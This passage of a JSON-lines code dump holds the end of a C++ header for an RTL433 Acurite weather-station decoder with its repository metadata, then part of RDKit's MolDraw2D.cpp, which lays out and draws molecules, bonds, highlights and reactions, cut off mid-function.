int32_t getDetectionLimit();\n\n        uint32_t getMeasurementCount();\n\n        void clearNotify();\n        void setNotify( RTL433DemodNotify *cbOBJ );\n\n        void init();\n        \n        void processSample();\n\n//        void start();\n\n//        void stop();\n\n        //void getReadingListEntries( std::vector< RTL433WeatherReading > &rList );\n\n        static void rtlsdr_callback(unsigned char *iq_buf, uint32_t len, void *ctx);\n};\n\n#endif // __ACCURITE5N1RTL433_H__\n", "meta": {"hexsha": "4afb557467d1b445f100271d31ea508167c94b7a", "size": 8669, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "src/Acurite5N1RTL433.hpp", "max_stars_repo_name": "nottberg/HNode_SEP_Acurite5n1", "max_stars_repo_head_hexsha": "bd85dba1970d2f74b371f907ad6e4c820eeff1c4", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/Acurite5N1RTL433.hpp", "max_issues_repo_name": "nottberg/HNode_SEP_Acurite5n1", "max_issues_repo_head_hexsha": "bd85dba1970d2f74b371f907ad6e4c820eeff1c4", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/Acurite5N1RTL433.hpp", "max_forks_repo_name": "nottberg/HNode_SEP_Acurite5n1", "max_forks_repo_head_hexsha": "bd85dba1970d2f74b371f907ad6e4c820eeff1c4", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.1834532374, "max_line_length": 133, "alphanum_fraction": 0.6828930673, "num_tokens": 2249, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5774953506426082, "lm_q2_score": 0.2538610069692489, "lm_q1q2_score": 0.146603551234192}}
{"text": "//\n//  Copyright (C) 2014-2021 David Cosgrove and Greg Landrum\n//\n//   @@ All Rights Reserved @@\n//  This file is part of the RDKit.\n//  The contents are covered by the terms of the BSD license\n//  which is included in the file license.txt, found at the root\n//  of the RDKit source tree.\n//\n// Original author: David Cosgrove (AstraZeneca)\n// 27th May 2014\n//\n// Extensively modified by Greg Landrum\n//\n\n#include <GraphMol/QueryOps.h>\n#include <GraphMol/MolDraw2D/DrawText.h>\n#include <GraphMol/MolDraw2D/MolDraw2D.h>\n#include <GraphMol/MolDraw2D/MolDraw2DDetails.h>\n#include <GraphMol/MolDraw2D/MolDraw2DUtils.h>\n#include <GraphMol/ChemReactions/ReactionParser.h>\n#include <GraphMol/FileParsers/MolSGroupParsing.h>\n#include <GraphMol/Depictor/RDDepictor.h>\n#include <Geometry/point.h>\n#include <Geometry/Transform2D.h>\n#include <Numerics/SquareMatrix.h>\n#include <Numerics/Matrix.h>\n\n#include <GraphMol/MolTransforms/MolTransforms.h>\n#include <GraphMol/FileParsers/FileParserUtils.h>\n#include <GraphMol/MolEnumerator/LinkNode.h>\n\n#include <Geometry/Transform3D.h>\n\n#include <algorithm>\n#include <cstdlib>\n#include <cmath>\n#include <limits>\n#include <memory>\n\n#include <boost/lexical_cast.hpp>\n#include <boost/tuple/tuple_comparison.hpp>\n#include <boost/assign/list_of.hpp>\n#include <boost/format.hpp>\n\nusing namespace boost;\nusing namespace std;\n\nnamespace RDKit {\n\nnamespace {\n// ****************************************************************************\n// calculate normalised perpendicular to vector between two coords\nPoint2D calcPerpendicular(const Point2D &cds1, const Point2D &cds2) {\n  double bv[2] = {cds1.x - cds2.x, cds1.y - cds2.y};\n  double perp[2] = {-bv[1], bv[0]};\n  double perp_len = sqrt(perp[0] * perp[0] + perp[1] * perp[1]);\n  perp[0] /= perp_len;\n  perp[1] /= perp_len;\n\n  return Point2D(perp[0], perp[1]);\n}\n\n// ****************************************************************************\n// calculate normalised perpendicular to vector between two coords, such that\n// it's inside the angle made between (1 and 2) and (2 and 3).\nPoint2D calcInnerPerpendicular(const Point2D &cds1, const Point2D &cds2,\n                               const Point2D &cds3) {\n  Point2D perp = calcPerpendicular(cds1, cds2);\n  double v1[2] = {cds1.x - cds2.x, cds1.y - cds2.y};\n  double v2[2] = {cds2.x - cds3.x, cds2.y - cds3.y};\n  double obv[2] = {v1[0] - v2[0], v1[1] - v2[1]};\n\n  // if dot product of centre_dir and perp < 0.0, they're pointing in opposite\n  // directions, so reverse perp\n  if (obv[0] * perp.x + obv[1] * perp.y < 0.0) {\n    perp.x *= -1.0;\n    perp.y *= -1.0;\n  }\n\n  return perp;\n}\n\n// ****************************************************************************\n// cds1 and cds2 are 2 atoms in a ring.  Returns the perpendicular pointing\n// into the ring\nPoint2D bondInsideRing(const ROMol &mol, const Bond &bond, const Point2D &cds1,\n                       const Point2D &cds2,\n                       const std::vector<Point2D> &at_cds) {\n  vector<size_t> bond_in_rings;\n  auto bond_rings = mol.getRingInfo()->bondRings();\n  for (size_t i = 0; i < bond_rings.size(); ++i) {\n    if (find(bond_rings[i].begin(), bond_rings[i].end(), bond.getIdx()) !=\n        bond_rings[i].end()) {\n      bond_in_rings.push_back(i);\n    }\n  }\n\n  // find another bond in the ring connected to bond, use the\n  // other end of it as the 3rd atom.\n  auto calc_perp = [&](const Bond *bond, const INT_VECT &ring) -> Point2D * {\n    Atom *bgn_atom = bond->getBeginAtom();\n    for (const auto &nbri2 : make_iterator_range(mol.getAtomBonds(bgn_atom))) {\n      const Bond *bond2 = mol[nbri2];\n      if (bond2 == bond) {\n        continue;\n      }\n      if (find(ring.begin(), ring.end(), bond2->getIdx()) != ring.end()) {\n        int atom3 = bond2->getOtherAtomIdx(bond->getBeginAtomIdx());\n        Point2D *ret = new Point2D;\n        *ret = calcInnerPerpendicular(cds1, cds2, at_cds[atom3]);\n        return ret;\n      }\n    }\n    return nullptr;\n  };\n\n  if (bond_in_rings.size() > 1) {\n    // bond is in more than 1 ring.  Choose one that is the same aromaticity\n    // as the bond, so that if bond is aromatic, the double bond is inside\n    // the aromatic ring.  This is important for morphine, for example,\n    // where there are fused aromatic and aliphatic rings.\n    // morphine: CN1CC[C@]23c4c5ccc(O)c4O[C@H]2[C@@H](O)C=C[C@H]3[C@H]1C5\n    for (size_t i = 0; i < bond_in_rings.size(); ++i) {\n      auto ring = bond_rings[bond_in_rings[i]];\n      bool ring_ok = true;\n      for (auto bond_idx : ring) {\n        const Bond *bond2 = mol.getBondWithIdx(bond_idx);\n        if (bond.getIsAromatic() != bond2->getIsAromatic()) {\n          ring_ok = false;\n          break;\n        }\n      }\n      if (!ring_ok) {\n        continue;\n      }\n      Point2D *ret = calc_perp(&bond, ring);\n      if (ret) {\n        Point2D real_ret(*ret);\n        delete ret;\n        return real_ret;\n      }\n    }\n  }\n\n  // either bond is in 1 ring, or we couldn't decide above, so just use the\n  // first one\n  auto ring = bond_rings[bond_in_rings.front()];\n  Point2D *ret = calc_perp(&bond, ring);\n  if (ret) {\n    Point2D real_ret(*ret);\n    delete ret;\n    return real_ret;\n  }\n\n  // failsafe that it will hopefully never see.\n  return calcPerpendicular(cds1, cds2);\n}\n\n// ****************************************************************************\nbool isLinearAtom(const Atom &atom, const std::vector<Point2D> &at_cds) {\n  if (atom.getDegree() == 2) {\n    Point2D bond_vecs[2];\n    Bond::BondType bts[2];\n    Point2D const &at1_cds = at_cds[atom.getIdx()];\n    ROMol const &mol = atom.getOwningMol();\n    int i = 0;\n    for (const auto &nbr : make_iterator_range(mol.getAtomNeighbors(&atom))) {\n      Point2D bond_vec = at1_cds.directionVector(at_cds[nbr]);\n      bond_vec.normalize();\n      bond_vecs[i] = bond_vec;\n      bts[i] = mol.getBondBetweenAtoms(atom.getIdx(), nbr)->getBondType();\n      ++i;\n    }\n    return (bts[0] == bts[1] && bond_vecs[0].dotProduct(bond_vecs[1]) < -0.95);\n  }\n  return false;\n}\n\n// ****************************************************************************\n// cds1 and cds2 are 2 atoms in a chain double bond.  Returns the\n// perpendicular pointing into the inside of the bond\nPoint2D bondInsideDoubleBond(const ROMol &mol, const Bond &bond,\n                             const std::vector<Point2D> &at_cds) {\n  // a chain double bond, where it looks nicer IMO if the 2nd line is inside\n  // the angle of outgoing bond. Unless it's an allene, where nothing\n  // looks great.\n  const Atom *at1 = bond.getBeginAtom();\n  const Atom *at2 = bond.getEndAtom();\n  const Atom *bond_atom, *end_atom;\n  if (at1->getDegree() > 1) {\n    bond_atom = at1;\n    end_atom = at2;\n  } else {\n    bond_atom = at2;\n    end_atom = at1;\n  }\n  int at3 = -1;  // to stop the compiler whinging.\n  for (const auto &nbri2 : make_iterator_range(mol.getAtomBonds(bond_atom))) {\n    const Bond *bond2 = mol[nbri2];\n    if (&bond != bond2) {\n      at3 = bond2->getOtherAtomIdx(bond_atom->getIdx());\n      break;\n    }\n  }\n\n  return calcInnerPerpendicular(at_cds[end_atom->getIdx()],\n                                at_cds[bond_atom->getIdx()], at_cds[at3]);\n}\n\n// ****************************************************************************\nvoid calcDoubleBondLines(const ROMol &mol, double offset, const Bond &bond,\n                         const Point2D &at1_cds, const Point2D &at2_cds,\n                         const std::vector<Point2D> &at_cds, Point2D &l1s,\n                         Point2D &l1f, Point2D &l2s, Point2D &l2f) {\n  // the percent shorter that the extra bonds in a double bond are\n  const double multipleBondTruncation = 0.15;\n  Atom *at1 = bond.getBeginAtom();\n  Atom *at2 = bond.getEndAtom();\n  Point2D perp;\n  if (1 == at1->getDegree() || 1 == at2->getDegree() ||\n      isLinearAtom(*at1, at_cds) || isLinearAtom(*at2, at_cds)) {\n    perp = calcPerpendicular(at1_cds, at2_cds) * offset;\n    l1s = at1_cds + perp;\n    l1f = at2_cds + perp;\n    l2s = at1_cds - perp;\n    l2f = at2_cds - perp;\n  } else if ((Bond::EITHERDOUBLE == bond.getBondDir()) ||\n             (Bond::STEREOANY == bond.getStereo())) {\n    // crossed bond\n    perp = calcPerpendicular(at1_cds, at2_cds) * offset;\n    l1s = at1_cds + perp;\n    l1f = at2_cds - perp;\n    l2s = at1_cds - perp;\n    l2f = at2_cds + perp;\n  } else {\n    l1s = at1_cds;\n    l1f = at2_cds;\n    offset *= 2.0;\n    if (mol.getRingInfo()->numBondRings(bond.getIdx())) {\n      // in a ring, we need to draw the bond inside the ring\n      perp = bondInsideRing(mol, bond, at1_cds, at2_cds, at_cds);\n    } else {\n      perp = bondInsideDoubleBond(mol, bond, at_cds);\n    }\n    Point2D bv = at1_cds - at2_cds;\n    l2s = at1_cds - bv * multipleBondTruncation + perp * offset;\n    l2f = at2_cds + bv * multipleBondTruncation + perp * offset;\n  }\n}\n\n// ****************************************************************************\nvoid calcTripleBondLines(double offset, const Bond &bond,\n                         const Point2D &at1_cds, const Point2D &at2_cds,\n                         Point2D &l1s, Point2D &l1f, Point2D &l2s,\n                         Point2D &l2f) {\n  // the percent shorter that the extra bonds in a double bond are\n  const double multipleBondTruncation = 0.15;\n\n  Atom *at1 = bond.getBeginAtom();\n  Atom *at2 = bond.getEndAtom();\n\n  // 2 lines, a bit shorter and offset on the perpendicular\n  double dbo = 2.0 * offset;\n  Point2D perp = calcPerpendicular(at1_cds, at2_cds);\n  double end1_trunc = 1 == at1->getDegree() ? 0.0 : multipleBondTruncation;\n  double end2_trunc = 1 == at2->getDegree() ? 0.0 : multipleBondTruncation;\n  Point2D bv = at1_cds - at2_cds;\n  l1s = at1_cds - (bv * end1_trunc) + perp * dbo;\n  l1f = at2_cds + (bv * end2_trunc) + perp * dbo;\n  l2s = at1_cds - (bv * end1_trunc) - perp * dbo;\n  l2f = at2_cds + (bv * end2_trunc) - perp * dbo;\n}\n\nvoid getBondHighlightsForAtoms(const ROMol &mol,\n                               const vector<int> &highlight_atoms,\n                               vector<int> &highlight_bonds) {\n  highlight_bonds.clear();\n  for (auto ai = highlight_atoms.begin(); ai != highlight_atoms.end(); ++ai) {\n    for (auto aj = ai + 1; aj != highlight_atoms.end(); ++aj) {\n      const Bond *bnd = mol.getBondBetweenAtoms(*ai, *aj);\n      if (bnd) {\n        highlight_bonds.push_back(bnd->getIdx());\n      }\n    }\n  }\n}\nvoid centerMolForDrawing(RWMol &mol, int confId) {\n  auto &conf = mol.getConformer(confId);\n  RDGeom::Transform3D tf;\n  auto centroid = MolTransforms::computeCentroid(conf);\n  centroid *= -1;\n  tf.SetTranslation(centroid);\n  MolTransforms::transformConformer(conf, tf);\n  MolTransforms::transformMolSubstanceGroups(mol, tf);\n}\n}  // namespace\n\n// ****************************************************************************\nMolDraw2D::MolDraw2D(int width, int height, int panelWidth, int panelHeight)\n    : needs_scale_(true),\n      width_(width),\n      height_(height),\n      panel_width_(panelWidth > 0 ? panelWidth : width),\n      panel_height_(panelHeight > 0 ? panelHeight : height),\n      legend_height_(0),\n      scale_(1.0),\n      x_min_(0.0),\n      y_min_(0.0),\n      x_range_(0.0),\n      y_range_(0.0),\n      x_trans_(0.0),\n      y_trans_(0.0),\n      x_offset_(0),\n      y_offset_(0),\n      fill_polys_(true),\n      activeMolIdx_(-1),\n      activeAtmIdx1_(-1),\n      activeAtmIdx2_(-1) {}\n\n// ****************************************************************************\nMolDraw2D::~MolDraw2D() {}\n\n// ****************************************************************************\nvoid MolDraw2D::drawMolecule(const ROMol &mol,\n                             const vector<int> *highlight_atoms,\n                             const map<int, DrawColour> *highlight_atom_map,\n                             const std::map<int, double> *highlight_radii,\n                             int confId) {\n  drawMolecule(mol, \"\", highlight_atoms, highlight_atom_map, highlight_radii,\n               confId);\n}\n\n// ****************************************************************************\nvoid MolDraw2D::drawMolecule(const ROMol &mol, const std::string &legend,\n                             const vector<int> *highlight_atoms,\n                             const map<int, DrawColour> *highlight_atom_map,\n                             const std::map<int, double> *highlight_radii,\n                             int confId) {\n  vector<int> highlight_bonds;\n  if (highlight_atoms) {\n    getBondHighlightsForAtoms(mol, *highlight_atoms, highlight_bonds);\n  }\n  drawMolecule(mol, legend, highlight_atoms, &highlight_bonds,\n               highlight_atom_map, nullptr, highlight_radii, confId);\n}\n\n// ****************************************************************************\nvoid MolDraw2D::doContinuousHighlighting(\n    const ROMol &mol, const vector<int> *highlight_atoms,\n    const vector<int> *highlight_bonds,\n    const map<int, DrawColour> *highlight_atom_map,\n    const map<int, DrawColour> *highlight_bond_map,\n    const std::map<int, double> *highlight_radii) {\n  PRECONDITION(activeMolIdx_ >= 0, \"bad active mol\");\n\n  int orig_lw = lineWidth();\n  int tgt_lw = getHighlightBondWidth(-1, nullptr);\n  if (tgt_lw < 2) {\n    tgt_lw = 2;\n  }\n\n  bool orig_fp = fillPolys();\n  if (highlight_bonds) {\n    for (auto this_at : mol.atoms()) {\n      int this_idx = this_at->getIdx();\n      for (const auto &nbri : make_iterator_range(mol.getAtomBonds(this_at))) {\n        const Bond *bond = mol[nbri];\n        int nbr_idx = bond->getOtherAtomIdx(this_idx);\n        if (nbr_idx < static_cast<int>(at_cds_[activeMolIdx_].size()) &&\n            nbr_idx > this_idx) {\n          if (std::find(highlight_bonds->begin(), highlight_bonds->end(),\n                        bond->getIdx()) != highlight_bonds->end()) {\n            DrawColour col = drawOptions().highlightColour;\n            if (highlight_bond_map &&\n                highlight_bond_map->find(bond->getIdx()) !=\n                    highlight_bond_map->end()) {\n              col = highlight_bond_map->find(bond->getIdx())->second;\n            }\n            setLineWidth(tgt_lw);\n            Point2D at1_cds = at_cds_[activeMolIdx_][this_idx];\n            Point2D at2_cds = at_cds_[activeMolIdx_][nbr_idx];\n            bool orig_slw = drawOptions().scaleBondWidth;\n            drawOptions().scaleBondWidth =\n                drawOptions().scaleHighlightBondWidth;\n            drawLine(at1_cds, at2_cds, col, col);\n            drawOptions().scaleBondWidth = orig_slw;\n          }\n        }\n      }\n    }\n  }\n  if (highlight_atoms) {\n    if (!drawOptions().fillHighlights) {\n      // we need a narrower circle\n      setLineWidth(tgt_lw / 2);\n    }\n    for (auto this_at : mol.atoms()) {\n      int this_idx = this_at->getIdx();\n      if (std::find(highlight_atoms->begin(), highlight_atoms->end(),\n                    this_idx) != highlight_atoms->end()) {\n        DrawColour col = drawOptions().highlightColour;\n        if (highlight_atom_map &&\n            highlight_atom_map->find(this_idx) != highlight_atom_map->end()) {\n          col = highlight_atom_map->find(this_idx)->second;\n        }\n        vector<DrawColour> cols(1, col);\n        drawHighlightedAtom(this_idx, cols, highlight_radii);\n      }\n    }\n  }\n  setLineWidth(orig_lw);\n  setFillPolys(orig_fp);\n}\n\n// ****************************************************************************\nvoid MolDraw2D::drawMolecule(const ROMol &mol,\n                             const vector<int> *highlight_atoms,\n                             const vector<int> *highlight_bonds,\n                             const map<int, DrawColour> *highlight_atom_map,\n                             const map<int, DrawColour> *highlight_bond_map,\n                             const std::map<int, double> *highlight_radii,\n                             int confId) {\n  int origWidth = lineWidth();\n  pushDrawDetails();\n  setupTextDrawer();\n\n  unique_ptr<RWMol> rwmol =\n      initMoleculeDraw(mol, highlight_atoms, highlight_radii, confId);\n  ROMol const &draw_mol = rwmol ? *(rwmol) : mol;\n  if (!draw_mol.getNumConformers()) {\n    // clearly, the molecule is in a sorry state.\n    return;\n  }\n\n  if (!pre_shapes_[activeMolIdx_].empty()) {\n    MolDraw2D_detail::drawShapes(*this, pre_shapes_[activeMolIdx_]);\n  }\n\n  if (drawOptions().continuousHighlight) {\n    // if we're doing continuous highlighting, start by drawing the highlights\n    doContinuousHighlighting(draw_mol, highlight_atoms, highlight_bonds,\n                             highlight_atom_map, highlight_bond_map,\n                             highlight_radii);\n    // at this point we shouldn't be doing any more highlighting, so blow out\n    // those variables.  This alters the behaviour of drawBonds below.\n    highlight_bonds = nullptr;\n    highlight_atoms = nullptr;\n  } else if (drawOptions().circleAtoms && highlight_atoms) {\n    setFillPolys(drawOptions().fillHighlights);\n    for (auto this_at : draw_mol.atoms()) {\n      int this_idx = this_at->getIdx();\n      if (std::find(highlight_atoms->begin(), highlight_atoms->end(),\n                    this_idx) != highlight_atoms->end()) {\n        if (highlight_atom_map &&\n            highlight_atom_map->find(this_idx) != highlight_atom_map->end()) {\n          setColour(highlight_atom_map->find(this_idx)->second);\n        } else {\n          setColour(drawOptions().highlightColour);\n        }\n        Point2D p1 = at_cds_[activeMolIdx_][this_idx];\n        Point2D p2 = at_cds_[activeMolIdx_][this_idx];\n        double radius = drawOptions().highlightRadius;\n        if (highlight_radii &&\n            highlight_radii->find(this_idx) != highlight_radii->end()) {\n          radius = highlight_radii->find(this_idx)->second;\n        }\n        Point2D offset(radius, radius);\n        p1 -= offset;\n        p2 += offset;\n        drawEllipse(p1, p2);\n      }\n    }\n    setFillPolys(true);\n  }\n\n  drawBonds(draw_mol, highlight_atoms, highlight_atom_map, highlight_bonds,\n            highlight_bond_map);\n\n  vector<DrawColour> atom_colours;\n  for (auto this_at : draw_mol.atoms()) {\n    atom_colours.emplace_back(\n        getColour(this_at->getIdx(), highlight_atoms, highlight_atom_map));\n  }\n\n  finishMoleculeDraw(draw_mol, atom_colours);\n  // popDrawDetails();\n  setLineWidth(origWidth);\n\n  if (drawOptions().includeMetadata) {\n    this->updateMetadata(draw_mol, confId);\n  }\n  // {\n  //   Point2D p1(x_min_, y_min_), p2(x_min_ + x_range_, y_min_ + y_range_);\n  //   setColour(DrawColour(0, 0, 0));\n  //   setFillPolys(false);\n  //   drawRect(p1, p2);\n  // }\n}\n\n// ****************************************************************************\nvoid MolDraw2D::drawMolecule(const ROMol &mol, const std::string &legend,\n                             const vector<int> *highlight_atoms,\n                             const vector<int> *highlight_bonds,\n                             const map<int, DrawColour> *highlight_atom_map,\n                             const map<int, DrawColour> *highlight_bond_map,\n                             const std::map<int, double> *highlight_radii,\n                             int confId) {\n  if (!legend.empty()) {\n    legend_height_ = int(0.05 * double(panelHeight()));\n    if (legend_height_ < 20) {\n      legend_height_ = 20;\n    }\n  } else {\n    legend_height_ = 0;\n  }\n  drawMolecule(mol, highlight_atoms, highlight_bonds, highlight_atom_map,\n               highlight_bond_map, highlight_radii, confId);\n  drawLegend(legend);\n}\n\n// ****************************************************************************\nvoid MolDraw2D::drawMoleculeWithHighlights(\n    const ROMol &mol, const string &legend,\n    const map<int, vector<DrawColour>> &highlight_atom_map,\n    const map<int, vector<DrawColour>> &highlight_bond_map,\n    const map<int, double> &highlight_radii,\n    const map<int, int> &highlight_linewidth_multipliers, int confId) {\n  int origWidth = lineWidth();\n  vector<int> highlight_atoms;\n  for (auto ha : highlight_atom_map) {\n    highlight_atoms.emplace_back(ha.first);\n  }\n\n  if (!legend.empty()) {\n    legend_height_ = int(0.05 * double(panelHeight()));\n  } else {\n    legend_height_ = 0;\n  }\n  pushDrawDetails();\n  unique_ptr<RWMol> rwmol =\n      initMoleculeDraw(mol, &highlight_atoms, &highlight_radii, confId);\n  ROMol const &draw_mol = rwmol ? *(rwmol) : mol;\n  if (!draw_mol.getNumConformers()) {\n    // clearly, the molecule is in a sorry state.\n    return;\n  }\n\n  if (!pre_shapes_[activeMolIdx_].empty()) {\n    MolDraw2D_detail::drawShapes(*this, pre_shapes_[activeMolIdx_]);\n  }\n\n  bool orig_fp = fillPolys();\n  setFillPolys(drawOptions().fillHighlights);\n\n  // draw the highlighted bonds first, so the atoms hide the ragged\n  // ends.  This only works with filled highlighting, obs.  If not, we need\n  // the highlight radii to work out the intersection of the bond highlight\n  // with the atom highlight.\n  drawHighlightedBonds(draw_mol, highlight_bond_map,\n                       highlight_linewidth_multipliers, &highlight_radii);\n\n  for (auto ha : highlight_atom_map) {\n    // cout << \"highlighting atom \" << ha.first << \" with \" << ha.second.size()\n    //      << \" colours\" << endl;\n    drawHighlightedAtom(ha.first, ha.second, &highlight_radii);\n  }\n  setFillPolys(orig_fp);\n\n  // draw plain bonds on top of highlights.  Use black if either highlight\n  // colour is the same as the colour it would have been.\n  vector<pair<DrawColour, DrawColour>> bond_colours;\n  for (auto bond : draw_mol.bonds()) {\n    int beg_at = bond->getBeginAtomIdx();\n    DrawColour col1 = getColour(beg_at);\n    int end_at = bond->getEndAtomIdx();\n    DrawColour col2 = getColour(end_at);\n    auto hb = highlight_bond_map.find(bond->getIdx());\n    if (hb != highlight_bond_map.end()) {\n      const vector<DrawColour> &cols = hb->second;\n      if (find(cols.begin(), cols.end(), col1) == cols.end() ||\n          find(cols.begin(), cols.end(), col2) == cols.end()) {\n        col1 = DrawColour(0.0, 0.0, 0.0);\n        col2 = col1;\n      }\n    }\n    bond_colours.emplace_back(make_pair(col1, col2));\n  }\n  drawBonds(draw_mol, nullptr, nullptr, nullptr, nullptr, &bond_colours);\n\n  vector<DrawColour> atom_colours;\n  for (auto this_at : draw_mol.atoms()) {\n    // Get colours together for the atom labels.\n    // Passing nullptr means that we'll get a colour based on atomic number\n    // only.\n    atom_colours.emplace_back(getColour(this_at->getIdx(), nullptr, nullptr));\n    // if the chosen colour is a highlight colour for this atom, choose black\n    // instead so it is still visible.\n    auto ha = highlight_atom_map.find(this_at->getIdx());\n    if (ha != highlight_atom_map.end()) {\n      if (find(ha->second.begin(), ha->second.end(), atom_colours.back()) !=\n          ha->second.end()) {\n        atom_colours.back() = DrawColour(0.0, 0.0, 0.0);\n      }\n    }\n  }\n\n  // this puts on atom labels and such\n  finishMoleculeDraw(draw_mol, atom_colours);\n  setLineWidth(origWidth);\n\n  drawLegend(legend);\n  popDrawDetails();\n}\n\n// ****************************************************************************\nvoid MolDraw2D::get2DCoordsMol(RWMol &mol, double &offset, double spacing,\n                               double &maxY, double &minY, int confId,\n                               bool shiftAgents, double coordScale) {\n  if (drawOptions().prepareMolsBeforeDrawing) {\n    mol.updatePropertyCache(false);\n    try {\n      RDLog::BlockLogs blocker;\n      MolOps::Kekulize(mol, false);  // kekulize, but keep the aromatic flags!\n    } catch (const MolSanitizeException &) {\n      // don't need to do anything\n    }\n    MolOps::setHybridization(mol);\n  }\n  if (!mol.getNumConformers()) {\n    const bool canonOrient = true;\n    RDDepict::compute2DCoords(mol, nullptr, canonOrient);\n  } else {\n    // we need to center the molecule\n    centerMolForDrawing(mol, confId);\n  }\n  // when preparing a reaction component to be drawn we should neither kekulize\n  // (we did that above if required) nor add chiralHs\n  const bool kekulize = false;\n  const bool addChiralHs = false;\n  MolDraw2DUtils::prepareMolForDrawing(mol, kekulize, addChiralHs);\n  double minX = 1e8;\n  double maxX = -1e8;\n  double vShift = 0;\n  if (shiftAgents) {\n    vShift = 1.1 * maxY / 2;\n  }\n\n  pushDrawDetails();\n\n  extractAtomCoords(mol, confId, false);\n  extractAtomSymbols(mol);\n  for (unsigned int i = 0; i < mol.getNumAtoms(); ++i) {\n    RDGeom::Point2D p = at_cds_[activeMolIdx_][i];\n    Atom *at = mol.getAtomWithIdx(i);\n    // allow for the width of the atom label.\n    auto at_lab = getAtomSymbolAndOrientation(*at);\n    double width = 0.0, height = 0.0;\n    if (!at_lab.first.empty()) {\n      getLabelSize(at_lab.first, at_lab.second, width, height);\n    }\n    if (at_lab.second == OrientType::W) {\n      p.x -= width;\n    } else {\n      p.x -= width / 2;\n    }\n    p *= coordScale;\n    minX = std::min(minX, p.x);\n  }\n  offset += fabs(minX);\n  Conformer &conf = mol.getConformer(confId);\n  for (unsigned int i = 0; i < mol.getNumAtoms(); ++i) {\n    RDGeom::Point2D p = at_cds_[activeMolIdx_][i];\n    p.y = p.y * coordScale + vShift;\n    Atom *at = mol.getAtomWithIdx(i);\n    // allow for the width of the atom label.\n    auto at_lab = getAtomSymbolAndOrientation(*at);\n    double width = 0.0, height = 0.0;\n    if (!at_lab.first.empty()) {\n      getLabelSize(at_lab.first, at_lab.second, width, height);\n    }\n    height /= 2.0;\n    if (at_lab.second != OrientType::E) {\n      width /= 2.0;\n    }\n    if (!shiftAgents) {\n      maxY = std::max(p.y + height, maxY);\n      minY = std::min(p.y - height, minY);\n    }\n    p.x = p.x * coordScale + offset;\n    maxX = std::max(p.x + width, maxX);\n\n    // now copy the transformed coords back to the actual\n    // molecules.  The initial calculations were done on the\n    // copies taken by extractAtomCoords, and that was so\n    // we could re-use existing code for scaling the picture\n    // including labels.\n    RDGeom::Point3D &at_cds = conf.getAtomPos(i);\n    at_cds.x = p.x;\n    at_cds.y = p.y;\n  }\n  offset = maxX + spacing;\n  popDrawDetails();\n}\n\n// ****************************************************************************\nvoid MolDraw2D::get2DCoordsForReaction(ChemicalReaction &rxn,\n                                       Point2D &arrowBegin, Point2D &arrowEnd,\n                                       std::vector<double> &plusLocs,\n                                       double spacing,\n                                       const std::vector<int> *confIds) {\n  plusLocs.resize(0);\n  double maxY = -1e8, minY = 1e8;\n  double offset = 0.0;\n\n  // reactants\n  for (unsigned int midx = 0; midx < rxn.getNumReactantTemplates(); ++midx) {\n    // add space for the \"+\" if required\n    if (midx > 0) {\n      plusLocs.push_back(offset);\n      offset += spacing;\n    }\n    ROMOL_SPTR reactant = rxn.getReactants()[midx];\n    int cid = -1;\n    if (confIds) {\n      cid = (*confIds)[midx];\n    }\n    get2DCoordsMol(*(RWMol *)reactant.get(), offset, spacing, maxY, minY, cid,\n                   false, 1.0);\n  }\n  arrowBegin.x = offset;\n\n  offset += spacing;\n\n  double begAgentOffset = offset;\n\n  // we need to do the products now so that we know the full y range.\n  // these will have the wrong X coordinates, but we'll fix that later.\n  offset = 0;\n  for (unsigned int midx = 0; midx < rxn.getNumProductTemplates(); ++midx) {\n    // add space for the \"+\" if required\n    if (midx > 0) {\n      plusLocs.push_back(offset);\n      offset += spacing;\n    }\n    ROMOL_SPTR product = rxn.getProducts()[midx];\n    int cid = -1;\n    if (confIds) {\n      cid = (*confIds)[rxn.getNumReactantTemplates() +\n                       rxn.getNumAgentTemplates() + midx];\n    }\n    get2DCoordsMol(*(RWMol *)product.get(), offset, spacing, maxY, minY, cid,\n                   false, 1.0);\n  }\n\n  offset = begAgentOffset;\n  // agents\n  for (unsigned int midx = 0; midx < rxn.getNumAgentTemplates(); ++midx) {\n    ROMOL_SPTR agent = rxn.getAgents()[midx];\n    int cid = -1;\n    if (confIds) {\n      cid = (*confIds)[rxn.getNumReactantTemplates() + midx];\n    }\n    get2DCoordsMol(*(RWMol *)agent.get(), offset, spacing, maxY, minY, cid,\n                   true, 0.45);\n  }\n  if (rxn.getNumAgentTemplates()) {\n    arrowEnd.x = offset;  //- spacing;\n  } else {\n    arrowEnd.x = offset + 3 * spacing;\n  }\n  offset = arrowEnd.x + 1.5 * spacing;\n\n  // now translate the products over\n  for (unsigned int midx = 0; midx < rxn.getNumProductTemplates(); ++midx) {\n    ROMOL_SPTR product = rxn.getProducts()[midx];\n    int cid = -1;\n    if (confIds) {\n      cid = (*confIds)[rxn.getNumReactantTemplates() +\n                       rxn.getNumAgentTemplates() + midx];\n    }\n    Conformer &conf = product->getConformer(cid);\n    for (unsigned int aidx = 0; aidx < product->getNumAtoms(); ++aidx) {\n      conf.getAtomPos(aidx).x += offset;\n    }\n  }\n\n  // fix the plus signs too\n  unsigned int startP = 0;\n  if (rxn.getNumReactantTemplates() > 1) {\n    startP = rxn.getNumReactantTemplates() - 1;\n  }\n  for (unsigned int pidx = startP; pidx < plusLocs.size(); ++pidx) {\n    plusLocs[pidx] += offset;\n  }\n\n  arrowBegin.y = arrowEnd.y = minY + (maxY - minY) / 2;\n}\n\n// ****************************************************************************\nvoid MolDraw2D::drawReaction(\n    const ChemicalReaction &rxn, bool highlightByReactant,\n    const std::vector<DrawColour> *highlightColorsReactants,\n    const std::vector<int> *confIds) {\n  ChemicalReaction nrxn(rxn);\n  double spacing = 1.0;\n  Point2D arrowBegin, arrowEnd;\n  std::vector<double> plusLocs;\n  get2DCoordsForReaction(nrxn, arrowBegin, arrowEnd, plusLocs, spacing,\n                         confIds);\n\n  MolDrawOptions origDrawOptions = drawOptions();\n  drawOptions().prepareMolsBeforeDrawing = false;\n  